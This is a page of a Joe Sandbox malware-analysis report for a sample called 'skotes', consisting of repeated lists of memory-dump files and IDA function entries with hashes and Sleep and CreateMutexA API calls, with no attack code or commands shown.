Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 905801f35779ac6dbd2417ce51a79fe37b74ae0c5b425be8a9deebb2fb534f8d
Instruction ID: 0d30e2a757c4bf97bba974aeb37d755f150de22d75a80995c39723407f02001d
Opcode Fuzzy Hash: 905801f35779ac6dbd2417ce51a79fe37b74ae0c5b425be8a9deebb2fb534f8d
Instruction Fuzzy Hash: 6F3148717051409BFF18EB7CDE89BDEB7A2EBC1314F289228E024F72D5C77699818652

Function 00EBA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 549efded8f83084bccc85c82b445017123bc49b18cee587a6f2fe3ef2f52fd13
Instruction ID: adcbeeef37268dcf3bdd6ddc1e6037dbecf97fb22923718383c8f37548961292
Opcode Fuzzy Hash: 549efded8f83084bccc85c82b445017123bc49b18cee587a6f2fe3ef2f52fd13
Instruction Fuzzy Hash: 123157716041409BEF089B6CDE89BDEB7A2EBC6314F289228E014F72D5C73699808652

Function 00EBA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3142b72624ae54db06c1cb0a35ae1ebe7713561ee1f0e5d8f4a9c50392a4e61a
Instruction ID: f80ed7fbee18812f92a59e711a715063d5fd7fa3c4c50076e06452028b6869b2
Opcode Fuzzy Hash: 3142b72624ae54db06c1cb0a35ae1ebe7713561ee1f0e5d8f4a9c50392a4e61a
Instruction Fuzzy Hash: 19313B717041449BEF189B78ED89BEEB6A1EBC1314F286238E024F72D5C77659818652

Function 00EBA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e1e5d3ac581bd6cbd1e61c2dbebdd70d58c39295df841a4abf5adf7266a0b0d1
Instruction ID: d58ed0f1f854d7c8cf9bdaaa7143c05baa9107f15a089d73e84197e74ca6bdba
Opcode Fuzzy Hash: e1e5d3ac581bd6cbd1e61c2dbebdd70d58c39295df841a4abf5adf7266a0b0d1
Instruction Fuzzy Hash: 36316A716051408BEF18DB78DD89BEEB7A2EBC1318F289228E014F72D5CB3599819752

Function 00EBA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787624988.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787646754.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787669990.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787699826.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787721460.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787737402.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787757985.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787779900.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787809982.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787838791.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787872493.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787904524.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787966954.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787989688.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788019036.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788048809.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788071924.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788094140.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788122416.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788141430.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788162081.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788180530.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788201726.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788218623.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788236509.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788261747.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788282582.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788301453.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788318983.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788336181.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788364464.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788384594.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788424765.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788439764.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788457213.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788476424.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788493320.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788514104.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788530520.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788550894.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788567646.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788585888.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1788605236.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5ab9a34e1370c3a940c16a16cf2fa1f52b734816c885e86f52e090f113b5e9ee
Instruction ID: 0628949816a7c64c65101fcce92a7d726d3c62f7bd55e2a0ac8d01e67e0c4872
Opcode Fuzzy Hash: 5ab9a34e1370c3a940c16a16cf2fa1f52b734816c885e86f52e090f113b5e9ee
Instruction Fuzzy Hash: 763168716041408BEF18DB78DDC9BEEB7A2EBC1314F289238E024F72D5CB3699818652

Function 00EB9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EBA963
CreateMutexA.KERNELBASE(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000002.00000002.1787101681.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000002.00000002.1787083021.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787101681.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787185727.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787208489.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787230928.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787380157.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787426353.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1787486363.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
